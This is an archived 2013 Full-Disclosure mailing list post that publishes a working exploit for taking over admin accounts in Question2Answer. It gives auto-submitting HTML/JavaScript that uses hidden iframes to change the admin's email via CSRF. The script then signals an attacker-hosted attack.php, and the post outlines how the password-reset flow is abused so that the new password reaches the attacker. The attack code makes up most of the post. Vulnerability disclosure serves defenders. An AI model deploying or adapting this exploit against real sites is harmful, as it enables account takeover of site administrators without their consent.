lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite for Android: free password hash cracker in your pocket
[<prev] [next>] [day] [month] [year] [list]
Date: Thu, 7 Mar 2013 21:39:05 +0200
From: "MustLive" <mustlive@...security.com.ua>
To: <submissions@...ketstormsecurity.org>, <full-disclosure@...ts.grok.org.uk>,
 "1337 Exploit DataBase" <mr.inj3ct0r@...il.com>
Subject: Exploit for stealing admin's account in
	Question2Answer

Hello!

Here is exploit for stealing admin's account in Question2Answer. This
exploit uses Cross-Site Request Forgery vulnerability at http://site/account
and Insufficient Anti-automation vulnerabilities at http://site/forgot and
http://site/reset, which I've described in the second advisory about
Question2Answer (http://websecurity.com.ua/6192/).

http://websecurity.com.ua/uploads/2013/Question2Answer%20Exploit.txt

It will work in all affected versions of Question2Answer (and second part of
the attack will work at default settings). If the admin of the target site
has changed default settings and setup captcha at http://site/forgot, then
server-side part of the attack can be done manually after conducting CSRF
attack.

Client-side part of exploit do the next (code provided bellow):

1. Changes e-mail of the user or admin via CSRF.
2. Start server-side part of exploit via request to attack.php.

Server-side part of exploit (attack.php) do the next (algorithm):

After receiving the signal from client-side part of exploit, attack.php do
the next:

1. Send POST request to http://site/forgot:

<body onLoad="document.hack.submit()">
<form name="hack" action="http://site/forgot" method="post">
<input type="hidden" name="emailhandle" value="email@...acker.com">
<input type="hidden" name="doforgot" value="1">
</form>
</body>

2. Check mailbox for letter with the code:

Code: 4f84yl1d

This line contains code for resetting password.

3. Send GET request to http://site/reset with this code:

http://site/reset&c=4f84yl1d&e=email%40attacker.com

4. New password is sent to attacker's e-mail.

Code of client-side exploit for stealing admin's account in Question2Answer:

<html>
<head>
<title>Exploit for stealing admin's account in Question2Answer. Made by
MustLive. http://websecurity.com.ua</title>
</head>
<body onLoad="StartCSRF()">
<script>
function StartCSRF() {
 for (var i=1;i<=2;i++) {
  var ifr = document.createElement("iframe");
  ifr.setAttribute('name', 'csrf'+i);
  ifr.setAttribute('width', '0');
  ifr.setAttribute('height', '0');
  document.body.appendChild(ifr);
 }
 CSRF1();
 setTimeout(CSRF2,1000);
}
function CSRF1() {
 window.frames["csrf1"].document.body.innerHTML = '<form name="hack"
action="http://site/account" method="post">\n<input type="hidden"
name="handle" value="test">\n<input type="hidden" name="email"
value="email@...acker.com">\n<input type="hidden" name="messages"
value="1">\n<input type="hidden" name="mailings" value="1">\n<input
type="hidden" name="field_1" value="test">\n<input type="hidden"
name="field_2" value="test">\n<input type="hidden" name="field_3"
value="test">\n<input type="hidden" name="dosaveprofile"
value="1">\n</form>';
 window.frames["csrf1"].document.hack.submit();
}
function CSRF2() {
 window.frames["csrf2"].document.body.innerHTML = '<form name="hack"
action="http://attacker.com/attack.php" method="post">\n<input type="hidden"
name="do" value="1">\n</form>';
 window.frames["csrf2"].document.hack.submit();
}
</script>
</body>
</html>

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua 


_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ